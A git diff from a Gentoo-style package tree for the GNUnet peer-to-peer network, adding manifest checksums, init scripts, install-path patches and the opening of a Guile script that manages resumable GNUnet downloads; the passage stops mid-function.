d2e2aaebb26851f0b334488faac419b1ef1ab9c6a047744ce01cf51c6a5180ca +DIST GNUnet-0.7.1pre0.tar.bz2 1438509 SHA256 d4149963b0d29f0acbc8471efe4bff122ad9cda74078fa9494f1462a2bad0008 +DIST GNUnet-0.7.2b.tar.bz2 1442189 SHA256 648791c533f4e77de1495abb66a0b0d5b1022005f8de531ec6a4fa1ed3b5a561 +DIST GNUnet-0.7.2c.tar.bz2 1438415 SHA256 d8bca30c01f3b105b2738fae7f64b4728ca0eddbea24117a3f3d7022f77e70aa +DIST GNUnet-0.7.3.tar.bz2 1687898 SHA256 378ea16fdd8b43d0c002a9c2bd4bcb878b60b61608838cd329821d5ffded25b7 +DIST GNUnet-0.8.0.tar.bz2 1689291 SHA256 14a05df11ee8dafb7623592cf703cc4b89d8df362b57a7a5c039a542cd9d504d +DIST GNUnet-0.8.0a.tar.bz2 1695471 SHA256 0da2e72ddf4eb53bfa70c290723f9f5fec9f6b24b7c53456270a331635a27b4c +DIST GNUnet-0.8.0b.tar.bz2 1611562 SHA256 9af1a54c6a680e349bea0950348f5754782f8ffae026fce5452eb4859d5d2ab4 +DIST GNUnet-0.8.0c.tar.bz2 1448541 SHA256 03ad449f8acc3abb0f6afcd496dfb04a48c1eb811df57a856f46eb9334e79c22 +DIST GNUnet-0.8.0pre0.tar.bz2 1670086 SHA256 c5f1f4586d3612a47e40f085de33a1d4518155b3f1da8575e10e79c70b9ffdf1 +DIST GNUnet-0.8.0pre1.tar.bz2 1696398 SHA256 c7b574b803abbc9466dbcc2a93c268963a9b218e3f712f05421ae7af008bb7a1 +DIST GNUnet-0.8.1.tar.gz 2339085 SHA256 84da584f2b60f2026a19e38d4264c794420135323644f7b0785d67ed44815355 +DIST GNUnet-0.8.1a.tar.gz 2342390 SHA256 7ee7fd37754d40e6e00cf9552b578a80aa9dcbe0d8437ccbe9d3f16ca741e289 +DIST GNUnet-0.8.1b.tar.gz 2366646 SHA256 7c854d2ef5ee592193bb04d8746a8b0ffc20f568674145a1f9a2e8f2bbced64c +DIST gnunet-0.9.0.tar.gz 2624462 SHA256 77c4522c92b55c60c8ec7a05a516d395b7066545f15280db85bd012105560ea8 +DIST gnunet-0.9.0pre0.tar.gz 1862215 SHA256 1c4dbb794a6fa195418327b0f6ecebb811a6947a8cf9488b4f39fb31bc1808a1 +DIST gnunet-0.9.0pre1.tar.gz 2133978 SHA256 59715c6c1144ee40ca0604a5e7613fc6a848c16ce3b6c0a873c2f41bcc13fe2d +DIST gnunet-0.9.0pre2.tar.gz 2399872 SHA256 47dffa58cb24d979e61c2b412674895e371e9a39479a873a0e563e1dc1f4ec3c +DIST gnunet-0.9.1.tar.gz 6084089 SHA256 f83a4a45e96832c01e4b720f0f694df5e70f207168baa6c0d9edb14f8f00fd46 +DIST gnunet-0.9.2.tar.gz 6239795 SHA256 24f5f1cb93782c22bd61ffdc9d99b7cfb2532dc4b6fb7d3468931e5a10eb47e9 +DIST gnunet-0.9.3.tar.gz 6520875 SHA256 0f7aa283f53e083e4e38b0c05e41083ee07953e3f7c831ffaab56f4f1a99d6d4 SHA512 e63d78453c9a731c60b79c2cf478bf92776f998a28f3255799f87015e6f7cb736fa4cf65c68898bb197550a59e0fe388ec0b893f7e1855edfe827aadaac58c88 WHIRLPOOL 91200e262e03a9140c6af245c36b8944d00dc50ec6bb92a0467b54d74909af2a6266d6bcde909f7110d1b8f765c3cdd7c7f896caa6f31a28fa5666d69fbaf3fb +DIST gnunet-0.9.5a.tar.gz 7997840 SHA256 1d600717eee1f952e23d192288850a67948e92e0b1dee5d950d111b2670cbed7 SHA512 a47d76455687269a8ae91bc91f12946740dc5f678466268f1d16f5aea90a2b86e71f9085dc713f0d7aaf0633d72837c322f0410d51723b5067dae5fe7205cfbd WHIRLPOOL 976c02da3cf7754ae88ef148c6b265b87357507f6a08f4876e13700547072529d66cb3450503438d0a5ac6d116bb345bd4fcf1bdc0a63f6e95c99938ad2ffdb7 +EBUILD gnunet-0.7.0b.ebuild 3149 SHA256 a18912fda522d67168f28e4cf07dafd0160f3f910e2394fc75a031e94d634cf1 SHA512 6d2b66b8257ea78d80c0c2865aa888992b4a294fd3183ecab8be079c6f263182d9e08864056f38e2a178ae6eba332f3f31542520fcd96a55d2ac5e5ea4cdfc70 WHIRLPOOL 15b75b04ade2c1bdb4d322197ca637f056f7a99c789d342de741d09bd69e69295d4ef4127032cedf18da702dea0f5dc9c550f9eb9014d0c1166d364834aadd2d +EBUILD gnunet-0.7.0e.ebuild 3210 SHA256 39027b6064e7d4fe8ca36875010ac31026265e528a62cd92af2158e5deb840d7 SHA512 7a93b40f3613f8acc79914268db92259aa286baf4a496580298ce87db731b8ba1dfc6f89808b2cf78b9066269bd8b7a582f931fbfca2998647f8e6107c6c7432 WHIRLPOOL 1e5f5cb5eeae9d122b1fd7ea02806644f77d00b5f6529742beba52dcbab53058ff46dcccc53a6aa14cb724e23d3309eb1922ba901559eb5ac9e88d3e636a252f +EBUILD gnunet-0.7.1.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9 +EBUILD gnunet-0.7.1_pre0.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9 +EBUILD gnunet-0.7.1a.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9 +EBUILD gnunet-0.7.1b.ebuild 3227 SHA256 290bc9a04483e677a3a8210660791d7686c5e7978594c9f4dcfd79e30229a9f7 SHA512 f4cfffc6f12cfc408fdeb30b0e52c4e2914fe96757c6729f55b3f1be35754ab6dd9a984edb7d41283bece05c3780ad933914c093f610d0e95ae3f0a1e5cc20f6 WHIRLPOOL b407b0eb7534bf1e962ff9b384e60fa33729dac7f396a49d61488ccefa263b77b7d1af9f076451972ca9531ec9fc4adcab6f44689cdf4ad2cb0f44739de989f9 +EBUILD gnunet-0.7.2b.ebuild 3149 SHA256 bce0d68517d429fba04dcc60768462c18cfa18dec3229851ab7d84e4349ac53b SHA512 830cf664b9625e448caf9ccb991f77b122a89d8d9fb3bec81b6a3167c6f0da0b1278df21d40fcf950b8591f04584e9797a618b0ab673d54cc8398b4260e64b96 WHIRLPOOL e0d2c97c26f542f8eefeedfb33c44fd1c8a062e6878727f9647ebc02baffc6d1c8958a52b77f24a754e5222752613efba8fbfefc4f515b15b9d023c53ecc6c11 +EBUILD gnunet-0.7.2c.ebuild 3173 SHA256 80bc8bf5a8fddc759c19f8fe71a061f7fe7bdf7d3519ca1bd9737a0eed6e2939 SHA512 5d647cd21c0f0025abd7093880d79c9e8333e9e035e2dc476db0e3f65caee8269326431bcb56b9dda3e55d5532a3d8bf282b27e700c6656f5aa5de8c34cdd1a9 WHIRLPOOL aba52d190287f74c20c958c8127c4622b20f003f13d15abde8e5916e79a0cbcd6b9aca1ba4ac21bc22e2aa070d7cc79056d4751856ee1225bbde7b8f1f76bf65 +EBUILD gnunet-0.7.3.ebuild 2982 SHA256 85af5e248999ff4ab3585b5cc01c7bab9daf365dc30e094f59244f963612f2d6 SHA512 096fa4d54a7c33fbbb4aa21f01fad7ef0f96258f1bb1f9a83a3ce0dda31f626f96426aac5086b66d57ae56c5475784e7f121403320692a53a7cf94700bbd465a WHIRLPOOL e8a2171da90d19c7aaa80ee7025d7dc6a29803361dd7971eeba1692d2d3efc2c5ea0a6810144e5e270795db400c4bf07aee96a7699b88836266255a1f8142214 +EBUILD gnunet-0.8.0.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114 +EBUILD gnunet-0.8.0_pre0.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114 +EBUILD gnunet-0.8.0_pre1.ebuild 2821 SHA256 ae2c15fee5b7cc8a114e9f3879f82ed3e643f312d99e7eb7f017818fa6ae0f2b SHA512 401687d518b4b2846c5ad2492e9b21a55f61b5023c4494e79a0f8bbff57dfc4f2330d9008e570bf8b37aefb2dbd1798759f2f3aa102fb4d6a8fc8df624854e63 WHIRLPOOL cae2663ac31c174de6082a86a5a3ae91ed1b558332fe355309695cf71ec00ebd7e4939581433617425d5a5785b0f3537b7c86c9e967e05529dfe77be9f37d114 +EBUILD gnunet-0.8.0a.ebuild 2794 SHA256 dda5221a2d6adf9425812c0fd567f7fb133e22e7341bf52d173034307b2e895f SHA512 27bedcb276072115dbbb72f33dddbbb918eb8eef3aee9fa1130388e8b78449494fb77f55699a283b19bc2efa443b30049694d3f88e3dca4d2ed1b55868227380 WHIRLPOOL e1ddaaabed809770856475a2d2b135fa00cf814ac12a19191488be4818f3e0461c4db0375adb631e57cd3459fd1c0990d62d603d1e9a2bdf4f9c1c57e4ed8254 +EBUILD gnunet-0.8.0b.ebuild 2821 SHA256 76f18bedacf1a5fe1335ec1a91bac203d07a4be8be5a94586372e9ab5473b978 SHA512 b0e3348e2c7a5883391f54a1fc47478f82de3d69b14c70d87db61d8e69c34ba5b0d98e60d482046f80280986f5649912afe844c39c66cf62905ec3797529aa56 WHIRLPOOL 8f0c5498eea8c854467871793f1cc486c9ca162cb5d4fb79e8e0425226394c471ff1b7afa7382bc452195a2cc57ab480dc543d16f3f461d60bc97fb943717993 +EBUILD gnunet-0.8.0c.ebuild 2840 SHA256 e359044dc7c710a10f51d50dd014cccb12811c4a270d981724b73ad93522c7da SHA512 efaac8d168b6d143be41fd5f211173870e541b002111aa1e7e5816095d3b68417abd4b172413a7dcbad5f3a76e58a3d511c3f671b8b5c43d14129dd4bbf05d2a WHIRLPOOL c8014b2e14e1feb174e7f5ef4105dbacb4013b2e71e97fa31cee7e7a475aff1a71a1586cb5549259a85022d695e231c2296408d835020d6fc371b90ece58fdb3 +EBUILD gnunet-0.8.1-r1.ebuild 2721 SHA256 e287618fb46f5b8504c3968ae53c7adad0bbb85353b5a55b739098e7e7f89b37 SHA512 19acb2729a51f15071d9085b4d48d34c9f17a60343937ddac0e77ad08319e8c53e078f36e961056d49ae348e169a41194b3b197dc404d934573813e73bb1179d WHIRLPOOL 9b49b3f8d1d426c8ecb427c09d06dd9af1fbc6a376893425fd4195ce496edd7f684c8e52f3f23d8f1739a15513edddb43b84929d04a8757956b4afda6f47ef8e +EBUILD gnunet-0.8.1.ebuild 2839 SHA256 c96e68e4c4b2034903582b1c5a6e6942959b6c2bd4e81817c93cfc2431f5e73b SHA512 823e5ca1312bc16704bb8d9047db1e456566bc0f7d338096a5a188dd45e0d477c434d1427698b019c7f0896e8d3faae69668bafa702d064696bd9098c7a5a50b WHIRLPOOL a0edae149ece789f04d1eedfc27da47d2f8fde0138e236f3bcf3f090987552814879cafc9e49b5e816006dec60c50e07c88fa89d211a38dc76e50cf5bad1d1eb +EBUILD gnunet-0.8.1a.ebuild 2653 SHA256 1c29b1adf4ef3fae461d2112a66d32d0b95eed966078104379b545fa44bb5f01 SHA512 77b4afc6166a705b891bd194ea028614a3d3f68ce366930d31c575b1fc914d0939e561fba9583aea1bcc4f0bb32b6b75564f1991939bfb29059de785c9a30bd6 WHIRLPOOL cab8f9d531e3648642b40965d51f58844cf5f8bf03fca6902024c505ba1003457d8fa78e4e2850fc3723e21f2e812ae82720cf733cb7ee6b5159e500a176ff3e +EBUILD gnunet-0.8.1b.ebuild 2651 SHA256 891afa18b6da3be2a759f5d898effa2e8ef58470e2d08b2c51f641190bc2b209 SHA512 98a031ab19e14f14aa79cbcad7e7cf665c7aa2693482791acde9c24019ddd28ce9f57eed029cffef85aaab415fa21aefc84f5fd04e4a4af2c1d2e1e178bdc3c9 WHIRLPOOL 15e76e49b1bd60338399ed307fcf5a5803ca99a43422c8136c9b756746fc02d5ec111f93530dc82f833fe35ea6e31ce92960414ece6b8dd3e5524885cc13da29 +EBUILD gnunet-0.9.0.ebuild 1812 SHA256 7336ea4de3e802f980913ee374cb48c9757b8893435ab6fb832bb3a926ed8086 SHA512 c55526a4b03b95b04da924cd38a1123008f0241ebcd9f35233b6f11bd787c3c674450a1807131813dab793edd05ab323815821da5d8a987e8f3cacb2f18539c9 WHIRLPOOL 4ac19f81a6d550b40661369e2be858afb59e299cb4d6dc3baa50a55b86a9c21b62e14c08f35955e5e35c321beba333e5e8bfab2d6758a5b32142046991bcc335 +EBUILD gnunet-0.9.0_pre0.ebuild 2080 SHA256 4b01b22d23159984d8cfb6455e4e32f31f27d6e58445a5fac8278ba62fba02de SHA512 2c3fc86308abd6c33d518a239b13e537ba4f349165800d8ab97682fb0b87510a6f086df0b9ec85b8052440ef537f61b7ef8610e09fb1f573b5fc69bf9d7ad5eb WHIRLPOOL 360a2daae16c69019a8bab8f78673487f46e2b0376325b6715c02b370e4a5c033ace671afdda876a5694e3a60f05e4da9304cfb80b728f4141701ed755cfbce3 +EBUILD gnunet-0.9.0_pre1.ebuild 2094 SHA256 81e3b3af1d9ca4d03b608dded9783a9efc7db3d60d858dfcc1b616bb390aa25c SHA512 d6bc224b0046bf33c4de241272a5a1630be4b230dfa97d347069c07dc0fd9f16b49ccc375baf739ea81f9a4f296a96f8693d1254de49914972aea6edef7117fb WHIRLPOOL 815020334cef5ed9d35114b6d8990e1c0d340d29fbe8fe6f3aa524a9118966e603ced96e75f8c6b2cf98e41e9306e3fcf901a4c3eeede701fc4259bea98e7aec +EBUILD gnunet-0.9.0_pre2.ebuild 2061 SHA256 c747bebcddc157f69527ddeb09465ee1528091ff354ed82389abb28312b465fb SHA512 d53c8003ec0b2b9f951047884eb674528217234555d342a9fb4906513217066a224a0248b6ce9e30ba50ba0c09339a3ed04f6cb5562af240dc9cbc80a20ede8f WHIRLPOOL 1e1292661b00593f6eb5c73a38a181758b5025e62342533eb4b79596a53cfb1b780aff58633ea633baa44e9d364fafcd91888b341bd2252c385d7af50c8ca8df +EBUILD gnunet-0.9.1.ebuild 1812 SHA256 7336ea4de3e802f980913ee374cb48c9757b8893435ab6fb832bb3a926ed8086 SHA512 c55526a4b03b95b04da924cd38a1123008f0241ebcd9f35233b6f11bd787c3c674450a1807131813dab793edd05ab323815821da5d8a987e8f3cacb2f18539c9 WHIRLPOOL 4ac19f81a6d550b40661369e2be858afb59e299cb4d6dc3baa50a55b86a9c21b62e14c08f35955e5e35c321beba333e5e8bfab2d6758a5b32142046991bcc335 +EBUILD gnunet-0.9.2.ebuild 1835 SHA256 7d21591925afb359e8dc366b54f4c9cd2b1f16bfa2a8df81fc89d5f1999a9634 SHA512 9bbd726555f4ca24fe08bfd8f13cc104c4cc0a14e4cc2854b6a553f9598e7c5a2d6fffc8f5f52c090533a8afb373d06bf0c075b3c6e2734e0873a80807c6c8c4 WHIRLPOOL 3714d2c716d52607659f434845c99e3de35c6f300051c89bda9c9540b82617ef4033f26f6f53a7377283647c6813b31cad16690988317778023ed5de7b229ba0 +EBUILD gnunet-0.9.3.ebuild 1922 SHA256 a43177b3051e91096af18f0fee1812124c275193e6a6022c6fc43167a4ed0090 SHA512 946fcf64de3f727b874241200257a213b409518dd102d3c19329d423adad30cf2619530f8890e9c51c75ad7fa96dcbd2b303fef3dc50e991f50852d7aef4e2c5 WHIRLPOOL dfc3912f95c790aa1593f63b6880cc725acad868423c364af542dee6a39f6aac513809e3211e4b0870508d71a1bbc16b2fd76a3bbadfa45e86a8659932af94d5 +EBUILD gnunet-0.9.5a.ebuild 1975 SHA256 9873a1896981dca41915ee9398b0a0e5a3aa1fc5cf0203d376f3fcde2139b878 SHA512 cd16c2ff042a960cb89c3c32243a11666fcc56a572632ae9f1c3b402a05e19309f7ac56ced8329cb70ab51fe2b9157b221795b72bc8d73fac03103ef7e8d92d4 WHIRLPOOL b1ee475ce7fe1320dad1e89944402ef7665daebb1698c35caac05736c0ab3f94a2469acf32e2847f8794863e145718e5f3e6ef0c43cae800685cf6789150487e +MISC ChangeLog 900 SHA256 a44bd2d2db1e0ff5062ee7b7db9b16b65f752274bc372ce1c0a61f2f3fe09a63 SHA512 bdbaafb6ee48b77e2c0cc9e442a1a9c84641ed06663525b6786098b6722a44bc6eb296323e00582dd8a8807a58269600075b9aa047303cb11f8704f2e7e26734 WHIRLPOOL 9e76921124ac796c9f4c4ae395c0cd9c9c3e2aec192a5dc18e4eae16664c74d94775010b299f1f125ff42e8c539f09a4831f8e2efac9509ab0de52d2112bc26e +MISC metadata.xml 248 SHA256 4b2054d5a81c4bb0803bb3bb477d63e698ef1c8257d1611917a9ec2eae53079d SHA512 6e079d3fa210525ac15080bd95d8e099eea7c57887d7e1de6a895339212ad76a8e05d87562ae714a82395919538c09149c343065a8b81bb7081023cf3ea28a0b WHIRLPOOL e97467c959e15882b807e80eb97c62806c308302dcdd174f4ed3f6c3732e1a3b9ec79a381322f5c6a6f322f6faf7096d74fe435f600266fb51994e7e19f13bc1 diff --git a/net-p2p/gnunet/files/config-daemon.in.patch b/net-p2p/gnunet/files/config-daemon.in.patch new file mode 100644 index 00000000..70dfaf88 --- /dev/null +++ b/net-p2p/gnunet/files/config-daemon.in.patch @@ -0,0 +1,10 @@ +--- config-daemon.in 2005-12-23 23:24:48.000000000 +0100 ++++ /usr/share/GNUnet/config-daemon.in 2006-03-17 21:06:06.000000000 +0100 +@@ -883,7 +883,6 @@ + + endmenu + +- endif + + if Meta::EXPERIMENTAL && Meta::RARE && Meta::ADVANCED + diff --git a/net-p2p/gnunet/files/gnunet b/net-p2p/gnunet/files/gnunet new file mode 100644 index 00000000..b1e833a9 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet @@ -0,0 +1,31 @@ +#!/sbin/runscript +# Copyright 1999-2004 Gentoo Foundation +# Distributed under the terms of the GNU General Public License, v2 +# description: Gnunet is an anonymous distributed secure network +# this server is required to connect to the network, +# it will open a TCP port to communicate with the +# GUI and an UDP port to communicate with the world. + +depend() { + need net +} + +start() { + ebegin "Starting GNUnet" + # -u username, -c path to gnunet.conf file + start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \ + -- -u gnunet -c /var/lib/GNUnet/gnunet.conf + eend $? "Failed to start GNUnet" +} + +stop() { + ebegin "Stopping GNUnet" + killall gnunetd + eend $? "Failed to stop GNUnet" +} + +restart() { + svc_stop + sleep 3 + svc_start +} diff --git a/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch b/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch new file mode 100644 index 00000000..4da84c16 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet-0.9.0_pre0-gentoo.patch @@ -0,0 +1,13 @@ +--- Makefile.am.anc 2010-04-16 20:34:28.804859312 +0200 ++++ src/transport/Makefile.am 2010-04-16 20:35:21.351042832 +0200 +@@ -13,8 +13,8 @@ + if LINUX + NATBIN = gnunet-nat-server gnunet-nat-client + install-exec-hook: +- chown root $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client || true +- chmod u+s $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client || true ++ chown root $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client || true ++ chmod u+s $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client || true + else + install-exec-hook: + endif diff --git a/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch b/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch new file mode 100644 index 00000000..6a301e62 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet-0.9.0_pre2-gentoo.patch @@ -0,0 +1,13 @@ +--- Makefile.am.anc 2010-04-16 20:34:28.804859312 +0200 ++++ src/transport/Makefile.am 2010-04-16 20:35:21.351042832 +0200 +@@ -13,8 +13,8 @@ + if LINUX + NATBIN = gnunet-nat-server gnunet-nat-client + install-exec-hook: +- chown root $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client $(bindir)/gnunet-wlan || true +- chmod u+s $(bindir)/gnunet-nat-server $(bindir)/gnunet-nat-client $(bindir)/gnunet-wlan || true ++ chown root $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client $(DESTDIR)$(bindir)/gnunet-wlan || true ++ chmod u+s $(DESTDIR)$(bindir)/gnunet-nat-server $(DESTDIR)$(bindir)/gnunet-nat-client $(DESTDIR)$(bindir)/gnunet-wlan || true + else + install-exec-hook: + endif diff --git a/net-p2p/gnunet/files/gnunet-2 b/net-p2p/gnunet/files/gnunet-2 new file mode 100644 index 00000000..54e73a4c --- /dev/null +++ b/net-p2p/gnunet/files/gnunet-2 @@ -0,0 +1,32 @@ +#!/sbin/runscript +# Copyright 1999-2004 Gentoo Foundation +# Distributed under the terms of the GNU General Public License, v2 + +depend() { + need net +} + +start() { + if ! test -f "/etc/gnunetd.conf"; then + eerror "You must create /etc/gnunetd.conf file first" + return 1 + fi + + ebegin "Starting GNUnet" + # -u username, -c path to gnunet.conf file + start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \ + -- -u gnunet -c /etc/gnunetd.conf + eend $? "Failed to start GNUnet" +} + +stop() { + ebegin "Stopping GNUnet" + killall gnunetd + eend $? "Failed to stop GNUnet" +} + +restart() { + svc_stop + sleep 3 + svc_start +} diff --git a/net-p2p/gnunet/files/gnunet-download-manager.scm b/net-p2p/gnunet/files/gnunet-download-manager.scm new file mode 100644 index 00000000..80d04fa1 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet-download-manager.scm @@ -0,0 +1,407 @@ +#!/bin/sh +exec guile -e main -s "$0" "$@" +!# + +;;; gnunet-download-manager -- Manage GNUnet downloads. +;;; Copyright (C) 2004 Ludovic Courtès +;;; +;;; This program is free software; you can redistribute it and/or +;;; modify it under the terms of the GNU General Public License +;;; as published by the Free Software Foundation; either version 2 +;;; of the License, or (at your option) any later version. +;;; +;;; This program is distributed in the hope that it will be useful, +;;; but WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +;;; GNU General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with this program; if not, write to the Free Software +;;; Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +;;; Remember ongoing GNUnet downloads so as to be able to resume them +;;; later. Typical usage is to define the following alias in your +;;; favorite shell: +;;; +;;; alias gnunet-download='gnunet-download-manager.scm download' +;;; +;;; You may have a ~/.gnunet-download-manager.scm Scheme configuration +;;; file. In particular, if you would like to be notified of +;;; completed downloads, you may want to add the following line to +;;; your configuration file: +;;; +;;; (add-hook! *completed-download-hook* +;;; completed-download-notification-hook) +;;; +;;; This script works fine with GNU Guile 1.6.4, and doesn't run with +;;; Guile 1.4.x. +;;; +;;; Enjoy! +;;; Ludovic Courtès + +(use-modules (ice-9 format) + (ice-9 optargs) + (ice-9 regex) + (ice-9 and-let-star) + (ice-9 pretty-print) + (ice-9 documentation)) + +;; Overall user settings +(define *debug?* #f) +(define *rc-file* (string-append (getenv "HOME") + "/.gnunet-download-manager.scm")) +(define *status-directory* (string-append (getenv "HOME") "/" + ".gnunet-download-manager")) +(define *gnunet-download* "gnunet-download") + +;; Helper macros +(define-macro (gnunet-info fmt . args) + `(format #t (string-append *program-name* ": " ,fmt "~%") + ,@args)) + +(define-macro (gnunet-debug fmt . args) + (if *debug?* + (cons 'gnunet-info (cons fmt args)) + #t)) + +(define-macro (gnunet-error fmt . args) + `(and ,(cons 'gnunet-info (cons fmt args)) + (exit 1))) + +(define (exception-string key args) + "Describe an error, using the format from @var{args}, if available." + (if (< (length args) 4) + (format #f "Scheme exception: ~S" key) + (string-append + (if (string? (car args)) + (string-append "In " (car args)) + "Scheme exception") + ": " + (apply format `(#f ,(cadr args) ,@(caddr args)))))) + + +;; Regexps matching GNUnet URIs +(define *uri-base* + "([[:alnum:]]+)\.([[:alnum:]]+)\.([[:alnum:]]+)\.([0-9]+)") +(define *uri-re* + (make-regexp (string-append "^gnunet://afs/" *uri-base* "$") + regexp/extended)) +(define *uri-status-file-re* + (make-regexp (string-append "^" *uri-base* "$") + regexp/extended)) + + +(define (uri-status-file-name directory uri) + "Return the name of the status file for URI @var{uri}." + (let ((match (regexp-exec *uri-re* uri))) + (if (not match) + (and (gnunet-info "~a: Invalid URI" uri) #f) + (let ((start (match:start match 1)) + (end (match:end match 4))) + (string-append directory "/" + (substring uri start end)))))) + +(define (uri-status directory uri) + "Load the current status alist for URI @var{uri} from @var{directory}." + (gnunet-debug "uri-status") + (let ((filename (uri-status-file-name directory uri))) + (catch 'system-error + (lambda () + (let* ((file (open-input-file filename)) + (status (read file))) + (begin + (close-port file) + status))) + (lambda (key . args) + (and (gnunet-debug (exception-string key args)) + '()))))) + +(define (process-exists? pid) + (false-if-exception (begin (kill pid 0) #t))) + +(define (fork-and-exec directory program . args) + "Launch @var{program} and return its PID." + (gnunet-debug "fork-and-exec: ~a ~a" program args) + (let ((pid (primitive-fork))) + (if (= 0 pid) + (begin + (if directory (chdir directory)) + (apply execlp (cons program (cons program args)))) + pid))) + +(define* (start-downloader downloader uri options + #:key (directory #f)) + "Start the GNUnet downloader for URI @var{uri} with options +@var{options}. Return an alist describing the download status." + (catch 'system-error + (lambda () + (let* ((pid (apply fork-and-exec + `(,(if directory directory (getcwd)) + ,downloader + ,@options)))) + (gnunet-info "Launched process ~a" pid) + `((uri . ,uri) + (working-directory . ,(if directory directory (getcwd))) + (options . ,options) + (pid . ,(getpid)) + (downloader-pid . ,pid)))) + (lambda (key . args) + (gnunet-error (exception-string key args))))) + +(define (download-process-alive? uri-status) + "Return true if the download whose status is that described by +@var{uri-status} is still alive." + (let ((pid (assoc-ref uri-status 'pid)) + (downloader-pid (assoc-ref uri-status 'downloader-pid))) + (and (process-exists? pid) + (process-exists? downloader-pid)))) + +(define (start-file-download downloader status-dir uri options) + "Dowload the file located at @var{uri}, with options @var{options} +and return an updated status alist." + (gnunet-debug "start-file-download") + (let ((uri-status (uri-status status-dir uri))) + (if (null? uri-status) + (acons 'start-date (current-time) + (start-downloader downloader uri options)) + (if (download-process-alive? uri-status) + (and (gnunet-info "~a already being downloaded by process ~a" + uri (assoc-ref uri-status 'pid)) + #f) + (and (gnunet-info "Resuming download") + (let ((start-date (assoc-ref uri-status 'start-date)) + (dir (assoc-ref uri-status 'working-directory)) + (options (assoc-ref uri-status 'options))) + (acons 'start-date start-date + (start-downloader downloader uri options + #:directory dir)))))))) + +(define *completed-download-hook* (make-hook 1)) + +(define (download-file downloader status-dir uri options) + "Start downloading file located at URI @var{uri}, with options +@var{options}, resuming it if it's already started." + (catch 'system-error + (lambda () + (and-let* ((status (start-file-download downloader + status-dir + uri options)) + (pid (assoc-ref status 'downloader-pid)) + (filename (uri-status-file-name status-dir + uri)) + (file (open-file filename "w"))) + + ;; Write down the status + (pretty-print status file) + (close-port file) + + ;; Wait for `gnunet-download' + (gnunet-info "Waiting for process ~a" pid) + (let* ((process-status (waitpid pid)) + (exit-val (status:exit-val (cdr process-status))) + (term-sig (status:term-sig (cdr process-status)))) + + ;; Terminate + (delete-file filename) + (gnunet-info + "Download completed (PID ~a, exit code ~a)" + pid exit-val) + (let ((ret `((end-date . ,(current-time)) + (exit-code . ,exit-val) + (terminating-signal . ,term-sig) + ,@status))) + (run-hook *completed-download-hook* ret) + ret)))) + (lambda (key . args) + (gnunet-error (exception-string key args))))) + +(define (uri-status-files directory) + "Return the list of URI status files in @var{directory}." + (catch 'system-error + (lambda () + (let ((dir (opendir directory))) + (let loop ((filename (readdir dir)) + (file-list '())) + (if (eof-object? filename) + file-list + (if (regexp-exec *uri-status-file-re* filename) + (loop (readdir dir) + (cons filename file-list)) + (loop (readdir dir) file-list)))))) + (lambda (key . args) + (gnunet-error (exception-string key args))))) + +(define (output-file-option option-list) + "Return the output file specified in @var{option-list}, false if +anavailable." + (if (null? option-list) + #f + (let 